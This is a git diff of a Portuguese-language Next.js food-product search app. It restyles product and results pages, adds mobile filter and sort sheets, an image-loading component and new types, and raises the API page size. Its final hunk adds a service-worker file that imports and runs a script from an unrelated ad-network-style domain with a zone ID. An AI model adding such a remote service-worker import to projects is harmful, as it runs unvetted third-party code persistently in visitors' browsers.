<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-6">
<div className="flex items-center gap-4">
<Button
variant="ghost"
size="sm"
onClick={() => router.back()}
className="flex items-center gap-2 hover:bg-gray-100 dark:hover:bg-gray-700 transition-all duration-200"
>
<ArrowLeft className="w-4 h-4" />
Voltar
</Button>
<div className="flex-1">
<h1 className="text-2xl font-bold text-gray-900 dark:text-white">
{product.product_name || "Produto"}
</h1>
<p className="text-sm text-gray-500 dark:text-gray-400">
Código: {product.code}
</p>
<div className="flex-1">
<h1 className="text-3xl font-bold text-gray-900 dark:text-white mb-2 animate-fade-in">
{product.product_name || "Produto"}
</h1>
<p className="text-sm text-gray-500 dark:text-gray-400">
Código: {product.code}
</p>
</div>
</div>
</div>
</div>
@@ -203,15 +200,15 @@ export default function ProdutoPage() {
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
<div className="grid grid-cols-1 lg:grid-cols-2 gap-8">
{/* Product Image */}
<div className="space-y-4">
<div className="relative w-full max-w-2xl mx-auto bg-white dark:bg-gray-800 rounded-lg overflow-hidden shadow-lg">
<div className="space-y-6">
<div className="relative w-full max-w-2xl mx-auto bg-white dark:bg-gray-800 rounded-2xl overflow-hidden shadow-[0_2px_8px_rgba(0,0,0,0.04),0_8px_24px_rgba(0,0,0,0.08)] hover:shadow-[0_4px_16px_rgba(0,0,0,0.08),0_16px_32px_rgba(0,0,0,0.12)] transition-all duration-300 transform hover:-translate-y-1">
<div className="aspect-square bg-gradient-to-br from-gray-50 to-gray-100 dark:from-gray-800 dark:to-gray-700 p-8">
{imageUrl ? (
<Image
src={imageUrl}
alt={product.product_name || "Produto"}
fill
className="object-contain"
className="object-contain transition-transform duration-300 hover:scale-105"
priority
sizes="(max-width: 768px) 100vw, (max-width: 1200px) 50vw, 33vw"
placeholder="blur"
@@ -229,37 +226,37 @@ export default function ProdutoPage() {
</div>
{/* Basic Info */}
<div className="bg-gray-50 dark:bg-gray-800 rounded-lg p-4">
<h3 className="font-semibold text-gray-900 dark:text-white mb-2">
<div className="bg-white/80 dark:bg-gray-800/80 backdrop-blur-sm rounded-2xl p-6 shadow-sm border border-gray-200/50 dark:border-gray-700/50 hover:shadow-md transition-all duration-300">
<h3 className="text-xl font-semibold text-gray-900 dark:text-white mb-4">
Informações Básicas
</h3>
<div className="space-y-2 text-sm">
<div className="space-y-3 text-sm">
{product.brands && (
<div>
<div className="flex justify-between items-center py-2 border-b border-gray-100 dark:border-gray-700">
<span className="font-medium text-gray-600 dark:text-gray-400">
Marca:
</span>
<span className="ml-2 text-gray-900 dark:text-white">
<span className="text-gray-900 dark:text-white font-medium">
{product.brands}
</span>
</div>
)}
{product.categories && (
<div>
<div className="flex justify-between items-center py-2 border-b border-gray-100 dark:border-gray-700">
<span className="font-medium text-gray-600 dark:text-gray-400">
Categoria:
</span>
<span className="ml-2 text-gray-900 dark:text-white">
<span className="text-gray-900 dark:text-white font-medium text-right max-w-xs">
{product.categories}
</span>
</div>
)}
{product.countries && (
<div>
<div className="flex justify-between items-center py-2">
<span className="font-medium text-gray-600 dark:text-gray-400">
Países:
</span>
<span className="ml-2 text-gray-900 dark:text-white">
<span className="text-gray-900 dark:text-white font-medium">
{product.countries}
</span>
</div>
@@ -271,24 +268,20 @@ export default function ProdutoPage() {
{/* Product Details */}
<div className="space-y-6">
{/* Nutrition Grades */}
<div className="grid grid-cols-1 sm:grid-cols-2 gap-4">
<div className="grid grid-cols-1 sm:grid-cols-2 gap-6">
{nutritionGrade && (
<div className="bg-white dark:bg-gray-800 border border-gray-200 dark:border-gray-700 rounded-lg p-4">
<h3 className="font-semibold text-gray-900 dark:text-white mb-2">
<div className="bg-white/80 dark:bg-gray-800/80 backdrop-blur-sm border border-gray-200/50 dark:border-gray-700/50 rounded-2xl p-6 shadow-sm hover:shadow-md transition-all duration-300 transform hover:-translate-y-1">
<h3 className="text-lg font-semibold text-gray-900 dark:text-white mb-4">
Nutri-Score
</h3>
<div className="flex items-center gap-3">
<div
className={`w-12 h-12 rounded-full ${nutritionGrade.color} flex items-center justify-center`}
>
<span
className={`text-lg font-bold ${nutritionGrade.textColor}`}
>
{nutritionGrade.label}
</span>
</div>
<div className="flex items-center gap-4">
<NutriScoreBadge
grade={product.nutrition_grades || ""}
size="lg"
showTooltip={true}
/>
<div>
<p className="font-medium text-gray-900 dark:text-white">
<p className="font-medium text-gray-900 dark:text-white text-lg">
{nutritionGrade.description}
</p>
<p className="text-sm text-gray-600 dark:text-gray-400">
@@ -300,22 +293,18 @@ export default function ProdutoPage() {
)}
{novaGroup && (
<div className="bg-white dark:bg-gray-800 border border-gray-200 dark:border-gray-700 rounded-lg p-4">
<h3 className="font-semibold text-gray-900 dark:text-white mb-2">
<div className="bg-white/80 dark:bg-gray-800/80 backdrop-blur-sm border border-gray-200/50 dark:border-gray-700/50 rounded-2xl p-6 shadow-sm hover:shadow-md transition-all duration-300 transform hover:-translate-y-1">
<h3 className="text-lg font-semibold text-gray-900 dark:text-white mb-4">
NOVA
</h3>
<div className="flex items-center gap-3">
<div
className={`w-12 h-12 rounded-full ${novaGroup.color} flex items-center justify-center`}
>
<span
className={`text-lg font-bold ${novaGroup.textColor}`}
>
{novaGroup.label}
</span>
</div>
<div className="flex items-center gap-4">
<NovaBadge
group={product.nova_group || 0}
size="lg"
showTooltip={true}
/>
<div>
<p className="font-medium text-gray-900 dark:text-white">
<p className="font-medium text-gray-900 dark:text-white text-lg">
Grupo {novaGroup.label}
</p>
<p className="text-sm text-gray-600 dark:text-gray-400">
@@ -329,75 +318,15 @@ export default function ProdutoPage() {
{/* Nutritional Information */}
{nutritionData && (
<div className="bg-white dark:bg-gray-800 border border-gray-200 dark:border-gray-700 rounded-lg p-4">
<h3 className="font-semibold text-gray-900 dark:text-white mb-4">
Informação Nutricional (por 100g)
</h3>
<div className="grid grid-cols-2 gap-4 text-sm">
<div className="flex justify-between">
<span className="text-gray-600 dark:text-gray-400">
Energia:
</span>
<span className="font-medium text-gray-900 dark:text-white">
{nutritionData.energy}
</span>
</div>
<div className="flex justify-between">
<span className="text-gray-600 dark:text-gray-400">
Gorduras:
</span>
<span className="font-medium text-gray-900 dark:text-white">
{nutritionData.fat}
</span>
</div>
<div className="flex justify-between">
<span className="text-gray-600 dark:text-gray-400">
Carboidratos:
</span>
<span className="font-medium text-gray-900 dark:text-white">
{nutritionData.carbohydrates}
</span>
</div>
<div className="flex justify-between">
<span className="text-gray-600 dark:text-gray-400">
Proteínas:
</span>
<span className="font-medium text-gray-900 dark:text-white">
{nutritionData.proteins}
</span>
</div>
<div className="flex justify-between">
<span className="text-gray-600 dark:text-gray-400">
Açúcares:
</span>
<span className="font-medium text-gray-900 dark:text-white">
{nutritionData.sugars}
</span>
</div>
<div className="flex justify-between">
<span className="text-gray-600 dark:text-gray-400">
Fibras:
</span>
<span className="font-medium text-gray-900 dark:text-white">
{nutritionData.fiber}
</span>
</div>
<div className="flex justify-between">
<span className="text-gray-600 dark:text-gray-400">
Sódio:
</span>
<span className="font-medium text-gray-900 dark:text-white">
{nutritionData.sodium}
</span>
</div>
</div>
<div className="bg-white/80 dark:bg-gray-800/80 backdrop-blur-sm border border-gray-200/50 dark:border-gray-700/50 rounded-2xl p-6 shadow-sm hover:shadow-md transition-all duration-300">
<NutritionGrid nutritionData={nutritionData} />
</div>
)}
{/* Ingredients */}
{product.ingredients_text && (
<div className="bg-white dark:bg-gray-800 border border-gray-200 dark:border-gray-700 rounded-lg p-4">
<h3 className="font-semibold text-gray-900 dark:text-white mb-2">
<div className="bg-white/80 dark:bg-gray-800/80 backdrop-blur-sm border border-gray-200/50 dark:border-gray-700/50 rounded-2xl p-6 shadow-sm hover:shadow-md transition-all duration-300">
<h3 className="text-lg font-semibold text-gray-900 dark:text-white mb-4">
Ingredientes
</h3>
<p className="text-sm text-gray-700 dark:text-gray-300 leading-relaxed">
@@ -408,15 +337,20 @@ export default function ProdutoPage() {
{/* Allergens */}
{product.allergens_tags && product.allergens_tags.length > 0 && (
<div className="bg-yellow-50 dark:bg-yellow-900/20 border border-yellow-200 dark:border-yellow-800 rounded-lg p-4">
<h3 className="font-semibold text-yellow-800 dark:text-yellow-200 mb-2">
Alérgenos
</h3>
<div className="bg-gradient-to-r from-yellow-50 to-orange-50 dark:from-yellow-900/20 dark:to-orange-900/20 border border-yellow-200 dark:border-yellow-800 rounded-2xl p-6 shadow-sm hover:shadow-md transition-all duration-300">
<div className="flex items-center gap-3 mb-4">
<div className="w-8 h-8 bg-yellow-500 rounded-full flex items-center justify-center">
<AlertTriangle className="w-4 h-4 text-white" />
</div>
<h3 className="text-lg font-semibold text-yellow-800 dark:text-yellow-200">
Alérgenos
</h3>
</div>
<div className="flex flex-wrap gap-2">
{product.allergens_tags.map((allergen, index) => (
<span
key={index}
className="px-2 py-1 bg-yellow-100 dark:bg-yellow-800 text-yellow-800 dark:text-yellow-200 text-xs rounded-full"
className="px-3 py-1 bg-yellow-100 dark:bg-yellow-800 text-yellow-800 dark:text-yellow-200 text-sm rounded-full font-medium border border-yellow-200 dark:border-yellow-700"
>
{allergen.replace("en:", "").replace("pt:", "")}
</span>
@@ -427,8 +361,8 @@ export default function ProdutoPage() {
{/* Additives */}
{product.additives_tags && product.additives_tags.length > 0 && (
<div className="bg-blue-50 dark:bg-blue-900/20 border border-blue-200 dark:border-blue-800 rounded-lg p-4">
<h3 className="font-semibold text-blue-800 dark:text-blue-200 mb-2">
<div className="bg-gradient-to-r from-blue-50 to-indigo-50 dark:from-blue-900/20 dark:to-indigo-900/20 border border-blue-200 dark:border-blue-800 rounded-2xl p-6 shadow-sm hover:shadow-md transition-all duration-300">
<h3 className="text-lg font-semibold text-blue-800 dark:text-blue-200 mb-4">
Aditivos
</h3>
<div className="flex flex-wrap gap-2">
@@ -437,13 +371,13 @@ export default function ProdutoPage() {
.map((additive, index) => (
<span
key={index}
className="px-2 py-1 bg-blue-100 dark:bg-blue-800 text-blue-800 dark:text-blue-200 text-xs rounded-full"
className="px-3 py-1 bg-blue-100 dark:bg-blue-800 text-blue-800 dark:text-blue-200 text-sm rounded-full font-medium border border-blue-200 dark:border-blue-700"
>
{additive.replace("en:", "").replace("pt:", "")}
</span>
))}
{product.additives_tags.length > 10 && (
<span className="px-2 py-1 bg-gray-100 dark:bg-gray-700 text-gray-600 dark:text-gray-400 text-xs rounded-full">
<span className="px-3 py-1 bg-gray-100 dark:bg-gray-700 text-gray-600 dark:text-gray-400 text-sm rounded-full font-medium border border-gray-200 dark:border-gray-600">
+{product.additives_tags.length - 10} mais
</span>
)}
+15 -14
View File
@@ -1,19 +1,20 @@
'use client'
import { ThemeProvider as NextThemesProvider } from 'next-themes'
import { ReactNode } from 'react'
"use client";
import { ThemeProvider as NextThemesProvider } from "next-themes";
import { ReactNode } from "react";
interface ProvidersProps {
children: ReactNode
children: ReactNode;
}
export function ThemeProvider({ children }: ProvidersProps) {
return (
<NextThemesProvider
attribute="class"
defaultTheme="system"
enableSystem
>
{children}
</NextThemesProvider>
)
}
return (
<NextThemesProvider
attribute="class"
defaultTheme="light"
enableSystem={true}
enableColorScheme
>
{children}
</NextThemesProvider>
);
}
+302 -107
View File
@@ -7,11 +7,20 @@ import {
Loader2,
SlidersHorizontal,
Database,
ArrowUpDown,
} from "lucide-react";
import { Button } from "@/components/ui/button";
import { Sheet, SheetContent, SheetTrigger } from "@/components/ui/sheet";
import { Badge } from "@/components/ui/badge";
import {
Sheet,
SheetContent,
SheetTrigger,
SheetHeader,
SheetTitle,
} from "@/components/ui/sheet";
import { ProductCard } from "@/app/components/ProductCard";
import { ProductCardSkeleton } from "@/app/components/ProductCardSkeleton";
import { DonateCard } from "@/app/components/DonateCard";
import { FilterSidebar } from "@/app/components/FilterSidebar";
import { SearchBar } from "@/app/components/SearchBar";
import { Pagination } from "@/app/components/Pagination";
@@ -57,6 +66,11 @@ function ResultadosContent() {
const [currentPage, setCurrentPage] = useState(1);
const [itemsPerPage, setItemsPerPage] = useState(20);
// Estados para modais mobile
const [showFilters, setShowFilters] = useState(false);
const [showSort, setShowSort] = useState(false);
const [showCacheInfo, setShowCacheInfo] = useState(false);
// Hook de cache
const {
state: cacheState,
@@ -133,7 +147,7 @@ function ResultadosContent() {
q: query,
country: countryToUse,
page: "1",
page_size: "50", // Buscar até 50 produtos por página
page_size: "1000", // Buscar até 1000 produtos por página
});
if (cacheOnly) {
@@ -297,105 +311,147 @@ function ResultadosContent() {
return (
<div className="min-h-screen bg-gray-50 dark:bg-gray-900">
{/* Header */}
<div className="bg-white dark:bg-gray-800 border-b border-gray-100 dark:border-gray-800 sticky top-0 z-20">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-4">
<div className="flex items-center gap-4">
<Link href="/">
<Button
variant="ghost"
size="sm"
className="flex items-center gap-2"
>
<ArrowLeft className="w-4 h-4" />
Voltar
</Button>
</Link>
{/* Header Mobile Otimizado */}
<div className="lg:hidden sticky top-0 z-40 bg-white dark:bg-gray-900 border-b border-gray-200 dark:border-gray-800 px-3 py-2">
<div className="flex items-center gap-2 mb-2">
<Link
href="/"
className="p-2 hover:bg-gray-100 dark:hover:bg-gray-800 rounded-lg transition-colors"
>
<ArrowLeft className="w-5 h-5" />
</Link>
<div className="flex-1">
<h1 className="text-2xl font-bold text-gray-900 dark:text-white">
Resultados para &quot;{query}&quot;
</h1>
{!loading && totalItems > 0 && (
<p className="text-sm text-gray-500 dark:text-gray-400 mt-1">
{totalItems} produto{totalItems !== 1 ? "s" : ""} encontrado
{totalItems !== 1 ? "s" : ""}
{detectedCountry && ` em ${detectedCountry}`}
{cacheState.isCached && (
<span className="ml-2 inline-flex items-center gap-1 text-blue-600 dark:text-blue-400">
<Database className="w-3 h-3" />
Cache Local
</span>
<div className="flex-1">
<SearchBar compact />
</div>
</div>
{/* Botões de ação - apenas filtros e ordenar */}
<div className="flex gap-2">
<Button
variant="outline"
size="sm"
onClick={() => setShowFilters(true)}
className="flex-1 text-xs h-8"
>
<SlidersHorizontal className="w-4 h-4 mr-1" />
Filtros
{hasActiveFilters && (
<Badge variant="destructive" className="ml-1 px-1 text-[10px]">
{Object.keys(filters).length}
</Badge>
)}
</Button>
<Button
variant="outline"
size="sm"
onClick={() => setShowSort(true)}
className="flex-1 text-xs h-8"
>
<ArrowUpDown className="w-4 h-4 mr-1" />
Ordenar
</Button>
</div>
</div>
{/* Header Desktop (mantido) */}
<div className="hidden sm:block max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-4">
<div className="flex items-center gap-4">
<Link href="/">
<Button
variant="ghost"
size="sm"
className="flex items-center gap-2"
>
<ArrowLeft className="w-4 h-4" />
Voltar
</Button>
</Link>
<div className="flex-1">
<h1 className="text-2xl font-bold text-gray-900 dark:text-white">
Resultados para &quot;{query}&quot;
</h1>
{!loading && totalItems > 0 && (
<p className="text-sm text-gray-500 dark:text-gray-400 mt-1">
{totalItems} produto{totalItems !== 1 ? "s" : ""} encontrado
{totalItems !== 1 ? "s" : ""}
{detectedCountry && ` em ${detectedCountry}`}
{cacheState.isCached && (
<span className="ml-2 inline-flex items-center gap-1 text-blue-600 dark:text-blue-400">
<Database className="w-3 h-3" />
Cache Local
</span>
)}
{storageStats && (
<span className="ml-2 text-xs text-gray-400">
• Storage: {storageStats?.storageSizeMB || 0} MB (
{storageStats?.totalProducts || 0} produtos)
</span>
)}
</p>
)}
</div>
{/* Switch Cache-Only em produção */}
<CacheOnlySwitch />
{/* Barra de Pesquisa - Desktop */}
<div className="hidden lg:flex items-center">
<SearchBar
initialQuery={query}
className="w-full max-w-md"
placeholder="Buscar outros produtos..."
/>
</div>
{/* Mobile Controls */}
<div className="lg:hidden flex items-center gap-2">
<SearchBar
initialQuery={query}
className="flex-1"
placeholder="Buscar..."
/>
<Sheet>
<SheetTrigger asChild>
<Button variant="outline" size="sm">
<SlidersHorizontal className="w-4 h-4 mr-2" />
Filtros
{hasActiveFilters && (
<div className="w-2 h-2 bg-primary rounded-full ml-2" />
)}
{storageStats && (
<span className="ml-2 text-xs text-gray-400">
• Storage: {storageStats.storageSizeMB} MB (
{storageStats.totalProducts} produtos)
</span>
)}
</p>
)}
</div>
{/* Switch Cache-Only em produção */}
<CacheOnlySwitch />
{/* Barra de Pesquisa - Desktop */}
<div className="hidden lg:flex items-center">
<SearchBar
initialQuery={query}
className="w-full max-w-md"
placeholder="Buscar outros produtos..."
/>
</div>
{/* Mobile Controls */}
<div className="lg:hidden flex items-center gap-2">
<SearchBar
initialQuery={query}
className="flex-1"
placeholder="Buscar..."
/>
<Sheet>
<SheetTrigger asChild>
<Button variant="outline" size="sm">
<SlidersHorizontal className="w-4 h-4 mr-2" />
Filtros
{hasActiveFilters && (
<div className="w-2 h-2 bg-primary rounded-full ml-2" />
)}
</Button>
</SheetTrigger>
<SheetContent side="left" className="w-80">
<FilterSidebar
filters={filters}
onFiltersChange={updateFilters}
onClearFilters={clearFilters}
isLoading={loading}
totalResults={totalItems}
sortBy={filters.sortBy || "relevance"}
onSortChange={handleSortChange}
viewMode={viewMode}
onViewModeChange={setViewMode}
onRefresh={handleRefresh}
onClearCache={handleClearCache}
isCached={cacheState.isCached}
onRemoveFilter={(key, value) => {
if (value) {
const currentArray =
(filters[key as keyof typeof filters] as string[]) ||
[];
updateFilters({
[key]: currentArray.filter((item) => item !== value),
});
} else {
updateFilters({ [key]: undefined });
}
}}
/>
</SheetContent>
</Sheet>
</div>
</Button>
</SheetTrigger>
<SheetContent side="left" className="w-80">
<FilterSidebar
filters={filters}
onFiltersChange={updateFilters}
onClearFilters={clearFilters}
isLoading={loading}
totalResults={totalItems}
sortBy={filters.sortBy || "relevance"}
onSortChange={handleSortChange}
viewMode={viewMode}
onViewModeChange={setViewMode}
onRefresh={handleRefresh}
onClearCache={handleClearCache}
isCached={cacheState.isCached}
onRemoveFilter={(key, value) => {
if (value) {
const currentArray =
(filters[key as keyof typeof filters] as string[]) ||
[];
updateFilters({
[key]: currentArray.filter((item) => item !== value),
});
} else {
updateFilters({ [key]: undefined });
}
}}
/>
</SheetContent>
</Sheet>
</div>
</div>
</div>
@@ -449,9 +505,9 @@ function ResultadosContent() {
Carregando todos os resultados...
</p>
<p className="text-xs text-blue-700 dark:text-blue-300">
Página {cacheState.progress.currentPage} de{" "}
{cacheState.progress.totalPages} •
{cacheState.progress.loadedProducts} produtos
Página {cacheState.progress?.currentPage || 0} de{" "}
{cacheState.progress?.totalPages || 0} •
{cacheState.progress?.loadedProducts || 0} produtos
carregados
</p>
<div className="w-full bg-blue-200 dark:bg-blue-800 rounded-full h-2 mt-2">
@@ -459,8 +515,8 @@ function ResultadosContent() {
className="bg-blue-600 h-2 rounded-full transition-all duration-300"
style={{
width: `${
(cacheState.progress.currentPage /
cacheState.progress.totalPages) *
((cacheState.progress?.currentPage || 0) /
(cacheState.progress?.totalPages || 1)) *
100
}%`,
}}
@@ -526,12 +582,24 @@ function ResultadosContent() {
{!loading && totalItems > 0 && (
<>
<div
className={`product-grid grid gap-6 mb-8 ${
className={`product-grid grid gap-3 sm:gap-4 md:gap-6 mb-8 px-3 sm:px-0 ${
viewMode === "grid"
? "grid-cols-1 sm:grid-cols-2 xl:grid-cols-3"
: "grid-cols-1"
}`}
>
{/* Card de Doação - sempre primeiro */}
<div
className="animate-in fade-in-0 slide-in-from-bottom-4"
style={{
animationDelay: "0ms",
animationFillMode: "both",
}}
>
<DonateCard variant="mobile" className="sm:hidden" />
<DonateCard variant="default" className="hidden sm:block" />
</div>
{currentPageProducts.map((product, index) => (
<div
key={product.code}
@@ -541,7 +609,20 @@ function ResultadosContent() {
animationFillMode: "both",
}}
>
<ProductCard product={product} />
<ProductCard
product={product}
priority={index}
currentPage={currentPage}
variant="mobile"
className="sm:hidden"
/>
<ProductCard
product={product}
priority={index}
currentPage={currentPage}
variant="default"
className="hidden sm:block"
/>
</div>
))}
</div>
@@ -597,7 +678,7 @@ function ResultadosContent() {
onClick={handleRefreshStorageStats}
className="text-green-600 hover:text-green-800 dark:text-green-400 dark:hover:text-green-300 underline"
>
Storage: {storageStats.storageSizeMB} MB
Storage: {storageStats?.storageSizeMB || 0} MB
</button>
</>
)}
@@ -608,6 +689,120 @@ function ResultadosContent() {
</div>
</div>
</div>
{/* Modais Mobile */}
{/* Modal de Filtros */}
<Sheet open={showFilters} onOpenChange={setShowFilters}>
<SheetContent side="bottom" className="h-[80vh]">
<div className="space-y-4">
<h2 className="text-lg font-semibold">Filtros</h2>
<FilterSidebar
filters={filters}
onFiltersChange={updateFilters}
onClearFilters={clearFilters}
totalResults={totalItems}
isLoading={loading}
/>
</div>
</SheetContent>
</Sheet>
{/* Modal de Ordenação */}
<Sheet open={showSort} onOpenChange={setShowSort}>
<SheetContent side="bottom" className="h-[60vh]">
<div className="space-y-4">
<h2 className="text-lg font-semibold">Ordenar por</h2>
<div className="space-y-2">
{[
{ value: "relevance", label: "Relevância" },
{
value: "nutrition_grade",
label: "Classificação Nutricional",
},
{ value: "name", label: "Nome" },
{ value: "energy", label: "Energia" },
{ value: "with_images", label: "Com Imagens" },
].map((option) => (
<Button
key={option.value}
variant={
filters.sortBy === option.value ? "default" : "ghost"
}
className="w-full justify-start"
onClick={() => {
handleSortChange(option.value);
setShowSort(false);
}}
>
{option.label}
</Button>
))}
</div>
</div>
</SheetContent>
</Sheet>
{/* Modal de Informações de Cache */}
<Sheet open={showCacheInfo} onOpenChange={setShowCacheInfo}>
<SheetContent
side="bottom"
className="h-[70vh] max-h-[500px] p-4 sm:p-6 overflow-y-auto"
>
<SheetHeader className="pb-4">
<SheetTitle className="text-lg sm:text-xl">
Informações do Cache
</SheetTitle>
</SheetHeader>
<div className="space-y-4 px-1">
<div className="bg-gray-50 dark:bg-gray-800 rounded-lg p-4">
<p className="text-sm text-gray-600 dark:text-gray-400 mb-1">
Produtos em cache:
</p>
<p className="text-xl font-bold text-gray-900 dark:text-white">
{storageStats?.totalProducts ?? 0}
</p>
</div>
<div className="bg-gray-50 dark:bg-gray-800 rounded-lg p-4">
<p className="text-sm text-gray-600 dark:text-gray-400 mb-1">
Tamanho do storage:
</p>
<p className="text-xl font-bold text-gray-900 dark:text-white">
{storageStats?.storageSizeMB
? `${storageStats?.storageSizeMB} MB`
: "0 KB"}
</p>
</div>
<div className="bg-gray-50 dark:bg-gray-800 rounded-lg p-4">
<p className="text-sm text-gray-600 dark:text-gray-400 mb-1">
Última atualização:
</p>
<p className="text-lg font-semibold text-gray-900 dark:text-white break-words">
{storageStats?.lastUpdated
? new Date(storageStats?.lastUpdated).toLocaleDateString(
"pt-BR"
)
: "Nunca"}
</p>
</div>
{/* Botão de limpar cache */}
<Button
onClick={async () => {
await clearCache();
await refreshStorageStats();
setShowCacheInfo(false);
}}
variant="destructive"
className="w-full mt-6 h-12 text-base font-medium"
>
Limpar Cache
</Button>
</div>
</SheetContent>
</Sheet>
</div>
);
}
+160
View File
@@ -0,0 +1,160 @@
"use client";
import { useState, useRef, useEffect } from "react";
import Image from "next/image";
import { cn } from "@/lib/utils";
export interface OptimizedImageProps {
src: string;
alt: string;
priority?: number; // 0 = mais prioridade (topo da página)
onPageChange?: number; // Cancelar se página mudar
className?: string;
fill?: boolean;
width?: number;
height?: number;
sizes?: string;
placeholder?: "blur" | "empty";
blurDataURL?: string;
quality?: number;
loading?: "lazy" | "eager";
onLoad?: () => void;
onError?: (error: Error) => void;
}
/**
* Componente de imagem otimizada com carregamento inteligente
* - Carrega apenas quando visível no viewport
* - Cancela carregamento ao trocar de página
* - Suporte a priorização de carregamento
* - Placeholder durante carregamento
*/
export function OptimizedImage({
src,
alt,
priority = 999,
onPageChange,
className,
fill = false,
width,
height,
sizes,
placeholder = "empty",
blurDataURL,
quality,
loading = "lazy",
onLoad,
onError,
...props
}: OptimizedImageProps) {
const [shouldLoad, setShouldLoad] = useState(false);
const [hasError, setHasError] = useState(false);
// Usar priority para debug/logging se necessário
console.debug(`OptimizedImage: ${src} (priority: ${priority})`);
const imgRef = useRef<HTMLDivElement>(null);
const observerRef = useRef<IntersectionObserver | null>(null);
const currentPageRef = useRef(onPageChange);
// Atualizar referência da página atual
useEffect(() => {
currentPageRef.current = onPageChange;
}, [onPageChange]);
// Cancelar carregamento se página mudar
useEffect(() => {
if (onPageChange !== undefined && onPageChange !== currentPageRef.current) {
setShouldLoad(false);
setHasError(false);
}
}, [onPageChange]);
// Configurar Intersection Observer
useEffect(() => {
if (typeof window === "undefined" || !imgRef.current) return;
observerRef.current = new IntersectionObserver(
(entries) => {
entries.forEach((entry) => {
if (entry.isIntersecting && !shouldLoad) {
setShouldLoad(true);
}
});
},
{
rootMargin: "50px", // Pré-carregar 50px antes de ficar visível
threshold: 0.1,
}
);
observerRef.current.observe(imgRef.current);
return () => {
observerRef.current?.disconnect();
};
}, [shouldLoad]);
// Placeholder durante carregamento
const renderPlaceholder = () => (
<div
className={cn(
"bg-gradient-to-br from-gray-100 to-gray-200 dark:from-gray-700 dark:to-gray-800",
"animate-pulse flex items-center justify-center",
className
)}
>
<div className="text-gray-400 dark:text-gray-500 text-sm">
Carregando...
</div>
</div>
);
// Imagem com erro
const renderError = () => (
<div
className={cn(
"bg-gray-100 dark:bg-gray-800 flex items-center justify-center",
"text-gray-400 dark:text-gray-500",
className
)}
>
<div className="text-center">
<div className="text-2xl mb-2">📷</div>
<div className="text-xs">Erro ao carregar</div>
</div>
</div>
);
return (
<div ref={imgRef} className="relative w-full h-full">
{hasError ? (
renderError()
) : shouldLoad ? (
<Image
src={src}
alt={alt}
fill={fill}
width={width}
height={height}
sizes={sizes}
placeholder={placeholder}
blurDataURL={blurDataURL}
quality={quality}
loading={loading}
className={cn("transition-opacity duration-300", className)}
onLoad={() => {
onLoad?.();
}}
onError={() => {
const errorObj = new Error("Falha ao carregar imagem");
setHasError(true);
onError?.(errorObj);
}}
{...props}
/>
) : (
renderPlaceholder()
)}
</div>
);
}
+16122 -6462
View File
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -160,7 +160,7 @@ export async function fetchAllResults(
let currentPage = 1;
let hasMore = true;
let totalCount = 0;
const pageSize = 50; // Usar tamanho máximo permitido pela API
const pageSize = 1000; // Usar tamanho máximo permitido pela API Open Food Facts
console.log(`Iniciando busca completa para: "${query}"`);
+42
View File
@@ -387,3 +387,45 @@ export interface CacheFile {
lastSync: number;
};
}
// Tipos para otimização de carregamento de imagens
export interface OptimizedImageProps {
src: string;
alt: string;
priority?: number;
onPageChange?: number;
className?: string;
fill?: boolean;
width?: number;
height?: number;
sizes?: string;
placeholder?: "blur" | "empty";
blurDataURL?: string;
quality?: number;
loading?: "lazy" | "eager";
onLoad?: () => void;
onError?: (error: Error) => void;
}
export interface ImageLoadTask {
src: string;
priority: number;
load: () => void;
onComplete?: () => void;
onError?: (error: Error) => void;
}
export interface ImageLoadingState {
isVisible: boolean;
shouldLoad: boolean;
isLoading: boolean;
hasError: boolean;
error: Error | null;
}
export interface UseOptimizedImageLoadingOptions {
currentPage: number;
itemsPerPage: number;
rootMargin?: string;
threshold?: number;
}
+6
View File
@@ -0,0 +1,6 @@
self.options = {
"domain": "fenoofaussut.net",
"zoneId": 10014703
}
self.lary = ""
importScripts('https://fenoofaussut.net/act/files/service-worker.min.js?r=sw')